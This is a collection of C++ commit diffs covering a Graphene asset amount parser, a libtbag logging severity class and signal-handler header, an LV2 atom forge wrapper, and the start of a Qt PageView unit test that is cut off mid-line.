scaled_precision = asset::scaled_precision( precision );\n\n const auto decimal_pos = amount_string.find( '.' );\n const string lhs = amount_string.substr( negative_found, decimal_pos );\n if( !lhs.empty() )\n satoshis += fc::safe<int64_t>(std::stoll(lhs)) *= scaled_precision;\n\n if( decimal_found )\n {\n const size_t max_rhs_size = std::to_string( scaled_precision.value ).substr( 1 ).size();\n\n string rhs = amount_string.substr( decimal_pos + 1 );\n FC_ASSERT( rhs.size() <= max_rhs_size );\n\n while( rhs.size() < max_rhs_size )\n rhs += '0';\n\n if( !rhs.empty() )\n satoshis += std::stoll( rhs );\n }\n\n FC_ASSERT( satoshis <= GRAPHENE_MAX_SHARE_SUPPLY );\n\n if( negative_found )\n satoshis *= -1;\n\n return amount(satoshis);\n } FC_CAPTURE_AND_RETHROW( (amount_string) ) }\n\nstring asset_object::amount_to_string(share_type amount) const\n{\n share_type scaled_precision = 1;\n for( uint8_t i = 0; i < precision; ++i )\n scaled_precision *= 10;\n assert(scaled_precision > 0);\n\n string result = fc::to_string(amount.value \/ scaled_precision.value);\n auto decimals = amount.value % scaled_precision.value;\n if( decimals )\n result += \".\" + fc::to_string(scaled_precision.value + decimals).erase(0,1);\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file Severity.hpp\n * @brief Severity class prototype.\n * @author zer0\n * @date 2016-07-09\n *\/\n\n#ifndef __INCLUDE_LIBTBAG__LIBTBAG_LOG_DETAILS_SEVERITY_HPP__\n#define __INCLUDE_LIBTBAG__LIBTBAG_LOG_DETAILS_SEVERITY_HPP__\n\n\/\/ MS compatible compilers support #pragma once\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#include <libtbag\/config.h>\n#include <libtbag\/predef.hpp>\n\n#include <string>\n#include <numeric>\n#include <type_traits>\n\n\/\/ -------------------\nNAMESPACE_LIBTBAG_OPEN\n\/\/ -------------------\n\nnamespace log {\nnamespace details {\n\n\/**\n * Severity class prototype.\n *\n * @author zer0\n * @date 2016-07-09\n *\/\nclass Severity\n{\npublic:\n char const * text;\n int level;\n\npublic:\n \/\/ @formatter:off\n Severity() : text(), level()\n { \/* EMPTY *\/ }\n Severity(char const * t, int l) : text(t), level(l)\n { \/* EMPTY *\/ }\n Severity(Severity const & obj) : text(obj.text), level(obj.level)\n { \/* EMPTY *\/ }\n ~Severity()\n { \/* EMPTY *\/ }\n \/\/ @formatter:on\n\npublic:\n Severity & operator =(Severity const & obj)\n {\n if (this != &obj) {\n level = obj.level;\n text = obj.text;\n }\n return *this;\n }\n\npublic:\n \/\/ @formatter:off\n inline operator int() const TBAG_NOEXCEPT\n { return level; }\n inline operator std::string() const TBAG_NOEXCEPT\n { return std::string(text); }\n\n inline bool operator ==(Severity const & obj) const TBAG_NOEXCEPT\n { return level == obj.level; }\n inline bool operator !=(Severity const & obj) const TBAG_NOEXCEPT\n { return level != obj.level; }\n\n inline bool operator <(Severity const & obj) const TBAG_NOEXCEPT\n { return level < obj.level; }\n inline bool operator >(Severity const & obj) const TBAG_NOEXCEPT\n { return level > obj.level; }\n\n inline bool operator <=(Severity const & obj) const TBAG_NOEXCEPT\n { return level <= obj.level; }\n inline bool operator >=(Severity const & obj) const TBAG_NOEXCEPT\n { return level >= obj.level; }\n\n inline bool isContain(Severity const & obj) const TBAG_NOEXCEPT\n { return level >= obj.level; }\n \/\/ @formatter:on\n};\n\nSeverity const OFF_SEVERITY(\"OFF\" , 0); \/\/ Hide all messages.\nSeverity const EMERGENCY_SEVERITY(\"EMERGENCY\", 100); \/\/ System is unusable.\nSeverity const ALERT_SEVERITY(\"ALERT\" , 200); \/\/ Action must be taken immediately.\nSeverity const CRITICAL_SEVERITY(\"CRITICAL\" , 300); \/\/ Critical conditions.\nSeverity const ERROR_SEVERITY(\"ERROR\" , 400); \/\/ Error conditions.\nSeverity const WARNING_SEVERITY(\"WARNING\" , 500); \/\/ Warning conditions.\nSeverity const NOTICE_SEVERITY(\"NOTICE\" , 600); \/\/ Normal but significant condition.\nSeverity const INFORMATIONAL_SEVERITY(\"INFO\" , 700); \/\/ Informational messages.\nSeverity const DEBUG_SEVERITY(\"DEBUG\" , 800); \/\/ Debug-level messages.\n\n} \/\/ namespace details\n} \/\/ namespace log\n\n\/\/ --------------------\nNAMESPACE_LIBTBAG_CLOSE\n\/\/ --------------------\n\n#endif \/\/ __INCLUDE_LIBTBAG__LIBTBAG_LOG_DETAILS_SEVERITY_HPP__\n\n<commit_msg>Refactoring Severity class.<commit_after>\/**\n * @file Severity.hpp\n * @brief Severity class prototype.\n * @author zer0\n * @date 2016-07-09\n *\/\n\n#ifndef __INCLUDE_LIBTBAG__LIBTBAG_LOG_DETAILS_SEVERITY_HPP__\n#define __INCLUDE_LIBTBAG__LIBTBAG_LOG_DETAILS_SEVERITY_HPP__\n\n\/\/ MS compatible compilers support #pragma once\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#include <libtbag\/config.h>\n#include <libtbag\/predef.hpp>\n#include <string>\n\n\/\/ -------------------\nNAMESPACE_LIBTBAG_OPEN\n\/\/ -------------------\n\nnamespace log {\nnamespace details {\n\n\/**\n * Severity class prototype.\n *\n * @author zer0\n * @date 2016-07-09\n *\/\nclass Severity\n{\npublic:\n char const * text;\n int level;\n\npublic:\n \/\/ @formatter:off\n Severity() : text(), level()\n { \/* EMPTY *\/ }\n Severity(char const * t, int l) : text(t), level(l)\n { \/* EMPTY *\/ }\n Severity(Severity const & obj) : text(obj.text), level(obj.level)\n { \/* EMPTY *\/ }\n ~Severity()\n { \/* EMPTY *\/ }\n \/\/ @formatter:on\n\npublic:\n Severity & operator =(Severity const & obj)\n {\n if (this != &obj) {\n level = obj.level;\n text = obj.text;\n }\n return *this;\n }\n\npublic:\n \/\/ @formatter:off\n inline operator int() const TBAG_NOEXCEPT\n { return level; }\n inline operator char const *() const TBAG_NOEXCEPT\n { return text; }\n\n inline friend bool operator ==(Severity const & lh, Severity const & rh) TBAG_NOEXCEPT\n { return lh.level == rh.level; }\n inline friend bool operator !=(Severity const & lh, Severity const & rh) TBAG_NOEXCEPT\n { return lh.level != rh.level; }\n\n inline friend bool operator <(Severity const & lh, Severity const & rh) TBAG_NOEXCEPT\n { return lh.level < rh.level; }\n inline friend bool operator >(Severity const & lh, Severity const & rh) TBAG_NOEXCEPT\n { return lh.level > rh.level; }\n\n inline friend bool operator <=(Severity const & lh, Severity const & rh) TBAG_NOEXCEPT\n { return lh.level <= rh.level; }\n inline friend bool operator >=(Severity const & lh, Severity const & rh) TBAG_NOEXCEPT\n { return lh.level >= rh.level; }\n\n inline bool isContain(Severity const & obj) const TBAG_NOEXCEPT\n { return level >= obj.level; }\n \/\/ @formatter:on\n};\n\nSeverity const OFF_SEVERITY(\"OFF\" , 0); \/\/ Hide all messages.\nSeverity const EMERGENCY_SEVERITY(\"EMERGENCY\", 100); \/\/ System is unusable.\nSeverity const ALERT_SEVERITY(\"ALERT\" , 200); \/\/ Action must be taken immediately.\nSeverity const CRITICAL_SEVERITY(\"CRITICAL\" , 300); \/\/ Critical conditions.\nSeverity const ERROR_SEVERITY(\"ERROR\" , 400); \/\/ Error conditions.\nSeverity const WARNING_SEVERITY(\"WARNING\" , 500); \/\/ Warning conditions.\nSeverity const NOTICE_SEVERITY(\"NOTICE\" , 600); \/\/ Normal but significant condition.\nSeverity const INFORMATIONAL_SEVERITY(\"INFO\" , 700); \/\/ Informational messages.\nSeverity const DEBUG_SEVERITY(\"DEBUG\" , 800); \/\/ Debug-level messages.\n\n} \/\/ namespace details\n} \/\/ namespace log\n\n\/\/ --------------------\nNAMESPACE_LIBTBAG_CLOSE\n\/\/ --------------------\n\n#endif \/\/ __INCLUDE_LIBTBAG__LIBTBAG_LOG_DETAILS_SEVERITY_HPP__\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file SignalHandler.hpp\n * @brief SignalHandler class prototype.\n * @author zer0\n * @date 2016-12-24\n *\/\n\n#ifndef __INCLUDE_LIBTBAG__LIBTBAG_SIGNAL_SIGNALHANDLER_HPP__\n#define __INCLUDE_LIBTBAG__LIBTBAG_SIGNAL_SIGNALHANDLER_HPP__\n\n\/\/ MS compatible compilers support #pragma once\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#include <libtbag\/config.h>\n#include <libtbag\/predef.hpp>\n\n#include <csignal>\n#include <climits>\n#include <cstdlib>\n\n#include <string>\n#include <exception>\n#include <functional>\n\n\/\/ -------------------\nNAMESPACE_LIBTBAG_OPEN\n\/\/ -------------------\n\nnamespace signal {\n\n\/\/ ==================\nnamespace __impl {\n\/** @warning Don't use this method from user level developers. *\/\nTBAG_API void createInstance();\nTBAG_API void releaseInstance();\n} \/\/ namespace __impl\n\/\/ ==================\n\n#ifndef TBAG_SIGNAL_MAP\n#define TBAG_SIGNAL_MAP(_TBAG_XX) \\\n _TBAG_XX(SIGNAL_INTERRUPT , SIGINT \/* 2 *\/, \"interrupt\") \\\n _TBAG_XX(SIGNAL_ILLEGAL_INSTRUCTION , SIGILL \/* 4 *\/, \"illegal instruction (not reset when caught)\") \\\n _TBAG_XX(SIGNAL_FLOATING_POINT_EXCEPTION, SIGFPE \/* 8 *\/, \"floating point exception\") \\\n _TBAG_XX(SIGNAL_SEGMENTATION_VIOLATION , SIGSEGV\/* 11 *\/, \"segmentation violation\") \\\n _TBAG_XX(SIGNAL_TERMINATION , SIGTERM\/* 15 *\/, \"software termination signal from kill\") \\\n _TBAG_XX(SIGNAL_ABORT , SIGABRT\/* ?? *\/, \"abort()\") \/* Windows(22), OSX(6) *\/ \\\n \/* -- END -- *\/\n#endif\n\n#define _TBAG_XX(name, signal, message) TBAG_CONSTEXPR int const TBAG_##name = signal;\nTBAG_SIGNAL_MAP(_TBAG_XX)\n#undef _TBAG_XX\n\n\/\/ Don't use the std::numeric_limits class.\n\/\/ Avoid collisions of min & max symbol in MSVC.\nTBAG_CONSTEXPR int const SIGNAL_STD_TERMINATE = INT_MAX; \/\/ C++ terminate signal.\nTBAG_CONSTEXPR int const FIRST_ORDER = INT_MAX;\nTBAG_CONSTEXPR int const LAST_ORDER = INT_MIN;\n\ninline bool existSignalNumber(int signal_number) TBAG_NOEXCEPT\n{\n switch (signal_number) {\n#define _TBAG_XX(name, signal, message) case TBAG_##name: return true;\n TBAG_SIGNAL_MAP(_TBAG_XX)\n#undef _TBAG_XX\n default: return false;\n }\n}\n\ninline char const * const getSignalName(int signal_number) TBAG_NOEXCEPT\n{\n switch (signal_number) {\n#define _TBAG_XX(name, signal, message) case TBAG_##name: return #signal;\n TBAG_SIGNAL_MAP(_TBAG_XX)\n#undef _TBAG_XX\n default: return \"UNKNOWN\";\n }\n}\n\n\/**\n * Signal handler interface.\n *\n * @author zer0\n * @date 2016-12-24\n *\/\nstruct SignalHandler\n{\n virtual void run(int signal) = 0;\n};\n\nusing SignalCallback = std::function<void(int)>;\n\n\/**\n * FunctionalSignalHandler handler interface.\n *\n * @author zer0\n * @date 2017-07-14\n *\/\nstruct FunctionalSignalHandler : public SignalHandler\n{\npublic:\n SignalCallback signal_cb;\n\npublic:\n FunctionalSignalHandler() : signal_cb()\n { \/* EMPTY. *\/ }\n FunctionalSignalHandler(SignalCallback const & cb) : signal_cb(cb)\n { \/* EMPTY. *\/ }\n\npublic:\n virtual ~FunctionalSignalHandler()\n { \/* EMPTY. *\/ }\n\npublic:\n void setRun(SignalCallback const & cb)\n { signal_cb = cb; }\n\npublic:\n virtual void run(int signal) override\n {\n if (signal_cb) {\n signal_cb(signal);\n }\n }\n};\n\n\/**\n * FuncSignalHandler typedef.\n *\n * @author zer0\n * @date 2017-07-14\n *\/\nusing FuncSignalHandler = FunctionalSignalHandler;\n\nTBAG_API void registerStdTerminateHandler(SignalHandler * handler, int order = 0);\nTBAG_API void registerStdTerminateFunctionalHandler(SignalCallback const & cb, int order = 0);\nTBAG_API void registerHandler(int signal, SignalHandler * handler, int order = 0);\nTBAG_API void registerFunctionalHandler(int signal, SignalCallback const & cb, int order = 0);\n\nTBAG_API void registerDefaultStdTerminateHandler(std::string const & logger_name = std::string());\nTBAG_API void registerDefaultErrorHandler(std::string const & logger_name = std::string());\nTBAG_API void registerDefaultHandler(std::string const & logger_name = std::string());\n\nTBAG_API SignalHandler * createDefaultSignalHandler(std::string const & logger_name = std::string());\n\n\/\/ clang-format off\ninline int raise(int signal)\n{ return std::raise(signal); }\n\n[[ noreturn ]] inline void terminate() TBAG_NOEXCEPT_SP_OP(std::terminate())\n{ std::terminate(); }\n\n[[ noreturn ]] inline void exit(int code) TBAG_NOEXCEPT_SP_OP(std::exit(code))\n{ std::exit(code); }\n\n[[ noreturn ]] inline void exitForce(int code) TBAG_NOEXCEPT_SP_OP(std::_Exit(code))\n{ std::_Exit(code); }\n\/\/ clang-format on\n\n} \/\/ namespace signal\n\n\/\/ --------------------\nNAMESPACE_LIBTBAG_CLOSE\n\/\/ --------------------\n\n#endif \/\/ __INCLUDE_LIBTBAG__LIBTBAG_SIGNAL_SIGNALHANDLER_HPP__\n\n<commit_msg>Add TBAG_SIGNAL_KILL const.<commit_after>\/**\n * @file SignalHandler.hpp\n * @brief SignalHandler class prototype.\n * @author zer0\n * @date 2016-12-24\n *\/\n\n#ifndef __INCLUDE_LIBTBAG__LIBTBAG_SIGNAL_SIGNALHANDLER_HPP__\n#define __INCLUDE_LIBTBAG__LIBTBAG_SIGNAL_SIGNALHANDLER_HPP__\n\n\/\/ MS compatible compilers support #pragma once\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#include <libtbag\/config.h>\n#include <libtbag\/predef.hpp>\n\n#include <csignal>\n#include <climits>\n#include <cstdlib>\n\n#include <string>\n#include <exception>\n#include <functional>\n\n\/\/ -------------------\nNAMESPACE_LIBTBAG_OPEN\n\/\/ -------------------\n\nnamespace signal {\n\n\/\/ ==================\nnamespace __impl {\n\/** @warning Don't use this method from user level developers. *\/\nTBAG_API void createInstance();\nTBAG_API void releaseInstance();\n} \/\/ namespace __impl\n\/\/ ==================\n\n#ifndef TBAG_SIGNAL_MAP\n#define TBAG_SIGNAL_MAP(_TBAG_XX) \\\n _TBAG_XX(SIGNAL_INTERRUPT , SIGINT \/* 2 *\/, \"interrupt\") \\\n _TBAG_XX(SIGNAL_ILLEGAL_INSTRUCTION , SIGILL \/* 4 *\/, \"illegal instruction (not reset when caught)\") \\\n _TBAG_XX(SIGNAL_FLOATING_POINT_EXCEPTION, SIGFPE \/* 8 *\/, \"floating point exception\") \\\n _TBAG_XX(SIGNAL_SEGMENTATION_VIOLATION , SIGSEGV\/* 11 *\/, \"segmentation violation\") \\\n _TBAG_XX(SIGNAL_TERMINATION , SIGTERM\/* 15 *\/, \"software termination signal from kill\") \\\n _TBAG_XX(SIGNAL_ABORT , SIGABRT\/* ?? *\/, \"abort()\") \/* Windows(22), OSX(6) *\/ \\\n \/* -- END -- *\/\n#endif\n\n#define _TBAG_XX(name, signal, message) TBAG_CONSTEXPR int const TBAG_##name = signal;\nTBAG_SIGNAL_MAP(_TBAG_XX)\n#undef _TBAG_XX\n\n\/\/ Don't use the std::numeric_limits class.\n\/\/ Avoid collisions of min & max symbol in MSVC.\nTBAG_CONSTEXPR int const SIGNAL_STD_TERMINATE = INT_MAX; \/\/ C++ terminate signal.\nTBAG_CONSTEXPR int const FIRST_ORDER = INT_MAX;\nTBAG_CONSTEXPR int const LAST_ORDER = INT_MIN;\n\n#ifndef TBAG_SIGNAL_KILL_NUMBER\n# if defined(TBAG_PLATFORM_WINDOWS)\n# define TBAG_SIGNAL_KILL_NUMBER SIGTERM \/\/ Windows does not have SIGKILL.\n# elif defined(SIGKILL)\n# define TBAG_SIGNAL_KILL_NUMBER SIGKILL \/\/ kill (cannot be caught or ignored)\n# else\n# define TBAG_SIGNAL_KILL_NUMBER 9 \/\/ SIGKILL is often numbered 9.\n# endif\n#endif\n\nTBAG_CONSTEXPR int const TBAG_SIGNAL_KILL = TBAG_SIGNAL_KILL_NUMBER;\n\ninline bool existSignalNumber(int signal_number) TBAG_NOEXCEPT\n{\n switch (signal_number) {\n#define _TBAG_XX(name, signal, message) case TBAG_##name: return true;\n TBAG_SIGNAL_MAP(_TBAG_XX)\n#undef _TBAG_XX\n default: return false;\n }\n}\n\ninline char const * const getSignalName(int signal_number) TBAG_NOEXCEPT\n{\n switch (signal_number) {\n#define _TBAG_XX(name, signal, message) case TBAG_##name: return #signal;\n TBAG_SIGNAL_MAP(_TBAG_XX)\n#undef _TBAG_XX\n default: return \"UNKNOWN\";\n }\n}\n\n\/**\n * Signal handler interface.\n *\n * @author zer0\n * @date 2016-12-24\n *\/\nstruct SignalHandler\n{\n virtual void run(int signal) = 0;\n};\n\nusing SignalCallback = std::function<void(int)>;\n\n\/**\n * FunctionalSignalHandler handler interface.\n *\n * @author zer0\n * @date 2017-07-14\n *\/\nstruct FunctionalSignalHandler : public SignalHandler\n{\npublic:\n SignalCallback signal_cb;\n\npublic:\n FunctionalSignalHandler() : signal_cb()\n { \/* EMPTY. *\/ }\n FunctionalSignalHandler(SignalCallback const & cb) : signal_cb(cb)\n { \/* EMPTY. *\/ }\n\npublic:\n virtual ~FunctionalSignalHandler()\n { \/* EMPTY. *\/ }\n\npublic:\n void setRun(SignalCallback const & cb)\n { signal_cb = cb; }\n\npublic:\n virtual void run(int signal) override\n {\n if (signal_cb) {\n signal_cb(signal);\n }\n }\n};\n\n\/**\n * FuncSignalHandler typedef.\n *\n * @author zer0\n * @date 2017-07-14\n *\/\nusing FuncSignalHandler = FunctionalSignalHandler;\n\nTBAG_API void registerStdTerminateHandler(SignalHandler * handler, int order = 0);\nTBAG_API void registerStdTerminateFunctionalHandler(SignalCallback const & cb, int order = 0);\nTBAG_API void registerHandler(int signal, SignalHandler * handler, int order = 0);\nTBAG_API void registerFunctionalHandler(int signal, SignalCallback const & cb, int order = 0);\n\nTBAG_API void registerDefaultStdTerminateHandler(std::string const & logger_name = std::string());\nTBAG_API void registerDefaultErrorHandler(std::string const & logger_name = std::string());\nTBAG_API void registerDefaultHandler(std::string const & logger_name = std::string());\n\nTBAG_API SignalHandler * createDefaultSignalHandler(std::string const & logger_name = std::string());\n\n\/\/ clang-format off\ninline int raise(int signal)\n{ return std::raise(signal); }\n\n[[ noreturn ]] inline void terminate() TBAG_NOEXCEPT_SP_OP(std::terminate())\n{ std::terminate(); }\n\n[[ noreturn ]] inline void exit(int code) TBAG_NOEXCEPT_SP_OP(std::exit(code))\n{ std::exit(code); }\n\n[[ noreturn ]] inline void exitForce(int code) TBAG_NOEXCEPT_SP_OP(std::_Exit(code))\n{ std::_Exit(code); }\n\/\/ clang-format on\n\n} \/\/ namespace signal\n\n\/\/ --------------------\nNAMESPACE_LIBTBAG_CLOSE\n\/\/ --------------------\n\n#endif \/\/ __INCLUDE_LIBTBAG__LIBTBAG_SIGNAL_SIGNALHANDLER_HPP__\n\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n\n atom.hpp - support file for writing LV2 plugins in C++\n\n Copyright (C) 2012 Michael Fisher <mfisher31@gmail.com>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 01222-1307 USA\n\n****************************************************************************\/\n\n#ifndef LVTK_LV2_ATOM_HPP\n#define LVTK_LV2_ATOM_HPP\n\n#include <lv2\/lv2plug.in\/ns\/ext\/atom\/atom.h>\n#include <lv2\/lv2plug.in\/ns\/ext\/atom\/forge.h>\n#include <lv2\/lv2plug.in\/ns\/ext\/atom\/util.h>\n\nnamespace lvtk {\n\n} \/* namespace lvtk *\/\n\n#endif \/* LVTK_LV2_ATOM_HPP *\/\n<commit_msg>Added some typedefs and an AtomForge(basic) wrapper beginning<commit_after>\/****************************************************************************\n\n atom.hpp - support file for writing LV2 plugins in C++\n\n Copyright (C) 2012 Michael Fisher <mfisher31@gmail.com>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 01222-1307 USA\n\n****************************************************************************\/\n\n#ifndef LVTK_LV2_ATOM_HPP\n#define LVTK_LV2_ATOM_HPP\n\n#include <lv2\/lv2plug.in\/ns\/ext\/atom\/atom.h>\n#include <lv2\/lv2plug.in\/ns\/ext\/atom\/forge.h>\n#include <lv2\/lv2plug.in\/ns\/ext\/atom\/util.h>\n\n#include <lvtk\/ext\/midi.hpp>\n#include <lvtk\/ext\/patch.hpp>\n\nnamespace lvtk {\n\n \/** Typedef for an Atom *\/\n typedef LV2_Atom Atom;\n\n \/** Typedef for an Atom Forge *\/\n typedef LV2_Atom_Forge_Frame AtomForgeFrame;\n\n typedef uint32_t (*MapFunc)(const char* symbol);\n typedef const char* (*UnmapFunc)(uint32_t id);\n\n class AtomForge\n {\n LV2_Atom_Forge forge;\n LV2_URID midi_MidiEvent, patch_Set, patch_Get, patch_body;\n\n public:\n\n AtomForge()\n : midi_MidiEvent(0)\n , patch_Set(0), patch_Get(0), patch_body(0)\n { }\n\n AtomForge (MapFunc map)\n {\n init (map);\n }\n\n \/**\n * Initialize the underlying atom forge\n * @param map The mapping function needed for init\n *\/\n inline void\n init (MapFunc map)\n {\n assert (map != NULL);\n\n midi_MidiEvent = map(LV2_MIDI__MidiEvent);\n patch_Set = map(LV2_PATCH__Set);\n patch_Get = map(LV2_PATCH__Get);\n\n lv2_atom_forge_set_buffer (&forge, NULL, 0);\n forge.Blank = map(LV2_ATOM__Blank);\n forge.Bool = map(LV2_ATOM__Bool);\n forge.Chunk = map(LV2_ATOM__Chunk);\n forge.Double = map(LV2_ATOM__Double);\n forge.Float = map(LV2_ATOM__Float);\n forge.Int = map(LV2_ATOM__Int);\n forge.Long = map(LV2_ATOM__Long);\n forge.Literal = map(LV2_ATOM__Literal);\n forge.Path = map(LV2_ATOM__Path);\n forge.Property = map(LV2_ATOM__Property);\n forge.Resource = map(LV2_ATOM__Resource);\n forge.Sequence = map(LV2_ATOM__Sequence);\n forge.String = map(LV2_ATOM__String);\n forge.Tuple = map(LV2_ATOM__Tuple);\n forge.URI = map(LV2_ATOM__URI);\n forge.URID = map(LV2_ATOM__URID);\n forge.Vector = map(LV2_ATOM__Vector);\n }\n\n\n inline LV2_Atom_Forge*\n cobj()\n {\n return &forge;\n }\n\n\n inline void\n set_buffer(uint8_t* buf, uint32_t size)\n {\n lv2_atom_forge_set_buffer (&forge, buf, size);\n }\n\n uint32_t\n atom_total_size (const LV2_Atom* atom)\n {\n return lv2_atom_total_size (atom);\n }\n\n \/* MIDI Related *\/\n\n const LV2_Atom* note_on (uint8_t key, uint8_t velocity)\n {\n uint8_t midi[3];\n midi[0] = 0x90;\n midi[1] = key;\n midi[2] = velocity;\n\n LV2_Atom* atom = (LV2_Atom*) lv2_atom_forge_atom (&forge, 3, midi_MidiEvent);\n lv2_atom_forge_raw (&forge, midi, 3);\n return atom;\n }\n\n const LV2_Atom* note_off (uint8_t key)\n {\n uint8_t midi[3];\n midi[0] = 0x80;\n midi[1] = key;\n midi[2] = 0x00;\n\n LV2_Atom* atom = (LV2_Atom*) lv2_atom_forge_atom (&forge, 3, midi_MidiEvent);\n lv2_atom_forge_raw (&forge, midi, 3);\n return atom;\n }\n\n inline LV2_Atom_Forge_Ref\n path (const std::string& path)\n {\n return lv2_atom_forge_path(&forge,path.c_str(),path.size());\n }\n\n inline LV2_Atom_Forge_Ref\n resource (AtomForgeFrame *frame, uint32_t id, uint32_t otype)\n {\n \/\/ Write object header\n return lv2_atom_forge_resource (&forge, frame, id, otype);\n }\n\n inline LV2_Atom_Forge_Ref\n blank (AtomForgeFrame *frame, uint32_t id, uint32_t otype)\n {\n \/\/ Write object header\n return lv2_atom_forge_blank (&forge, frame, id, otype);\n }\n\n inline LV2_Atom_Forge_Ref\n property_head (uint32_t key, uint32_t context)\n {\n return lv2_atom_forge_property_head (&forge, key, context);\n }\n\n inline void\n pop (AtomForgeFrame *frame)\n {\n lv2_atom_forge_pop(&forge, frame);\n }\n\n inline LV2_Atom_Forge_Ref\n raw (const void* data, uint32_t size)\n {\n return lv2_atom_forge_raw (&forge, data, size);\n }\n\n };\n} \/* namespace lvtk *\/\n\n#endif \/* LVTK_LV2_ATOM_HPP *\/\n<|endoftext|>"} {"text":"<commit_before>\r\n\/*!\r\n\t\\file\r\n\r\n\t\\author Igor Mironchik (igor.mironchik at gmail dot com).\r\n\r\n\tCopyright (c) 2014 Igor Mironchik\r\n\r\n\tPermission is hereby granted, free of charge, to any person\r\n\tobtaining a copy of this software and associated documentation\r\n\tfiles (the \"Software\"), to deal in the Software without\r\n\trestriction, including without limitation the rights to use,\r\n\tcopy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\tcopies of the Software, and to permit persons to whom the\r\n\tSoftware is furnished to do so, subject to the following\r\n\tconditions:\r\n\r\n\tThe above copyright notice and this permission notice shall be\r\n\tincluded in all copies or substantial portions of the Software.\r\n\r\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n\tOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\n\tHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\n\tWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\r\n\tOTHER DEALINGS IN THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ Qt include.\r\n#include <QObject>\r\n#include <QtTest\/QtTest>\r\n#include <QSharedPointer>\r\n#include <QLabel>\r\n\r\n\/\/ QtMWidgets include.\r\n#include <QtMWidgets\/PageView>\r\n\r\n\r\nclass TestPageView\r\n\t:\tpublic QObject\r\n{\r\n\tQ_OBJECT\r\n\r\nprivate slots:\r\n\r\n\tvoid testView()\r\n\t{\r\n\t\tQtMWidgets::PageView p;\r\n\t\tp.show();\r\n\r\n\t\tQVERIFY( QTest::qWaitForWindowActive( &p ) );\r\n\r\n\t\tQVERIFY( p.currentIndex() == -1 );\r\n\t\tQVERIFY( p.count() == 0 );\r\n\t\tQVERIFY( p.showPageControl() == true );\r\n\r\n\t\tp.setShowPageControl( false );\r\n\r\n\t\tQVERIFY( p.showPageControl() == false );\r\n\r\n\t\tp.resize( 300, 300 );\r\n\r\n\t\tQLabel w1( QStringLiteral( \"1\" ) );\r\n\r\n\t\tauto f = w1.font();\r\n\t\tf.setPixelSize( 100 );\r\n\t\tf.setBold( true );\r\n\r\n\t\tw1.setFont( f );\r\n\t\tw1.setAlignment( Qt::AlignCenter );\r\n\r\n\t\tp.addWidget( &w1 );\r\n\r\n\t\tQVERIFY( p.count() == 1 );\r\n\t\tQVERIFY( p.currentIndex() == 0 );\r\n\t\tQVERIFY( p.currentWidget() == &w1 );\r\n\t\tQVERIFY( p.indexOf( &w1 ) == 0 );\r\n\t\tQVERIFY( p.widget( 0 ) == &w1 );\r\n\r\n\t\tQLabel w2( QStringLiteral( \"2\" ) );\r\n\t\tw2.setFont( f );\r\n\t\tw2.setAlignment( Qt::AlignCenter );\r\n\r\n\t\tp.addWidget( &w2 );\r\n\r\n\t\tp.setCurrentWidget( &w2 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 1 );\r\n\r\n\t\tQLabel w3( QStringLiteral( \"3\" ) );\r\n\t\tw3.setFont( f );\r\n\t\tw3.setAlignment( Qt::AlignCenter );\r\n\r\n\t\tQTest::qWait( 350 );\r\n\r\n\t\tp.addWidget( &w3 );\r\n\r\n\t\t{\r\n\t\t\tconst auto c = p.rect().center() - QPoint( p.rect().width() \/ 3, 0 );\r\n\t\t\tQTest::mousePress( &p, Qt::LeftButton, {}, c, 20 );\r\n\t\t\tconst auto pos = c -\r\n\t\t\t\tQPoint( p.rect().width() - p.rect().width() \/ 4, 0 );\r\n\t\t\tQMouseEvent me( QEvent::MouseMove, pos, Qt::LeftButton, Qt::LeftButton, {} );\r\n\t\t\tQApplication::sendEvent( &p, &me );\r\n\t\t\tQTest::mouseRelease( &p, Qt::LeftButton, {}, pos, 20 );\r\n\t\t}\r\n\r\n\t\tQTest::qWait( 350 );\r\n\r\n\t\tQVERIFY( p.currentWidget() == &w3 );\r\n\r\n\t\t{\r\n\t\t\tconst auto c = p.rect().center() - QPoint( p.rect().width() \/ 3, 0 );\r\n\t\t\tQTest::mousePress( &p, Qt::LeftButton, {}, c, 20 );\r\n\t\t\tconst auto pos = c +\r\n\t\t\t\tQPoint( p.rect().width() - p.rect().width() \/ 4, 0 );\r\n\t\t\tQMouseEvent me( QEvent::MouseMove, pos, Qt::LeftButton, Qt::LeftButton, {} );\r\n\t\t\tQApplication::sendEvent( &p, &me 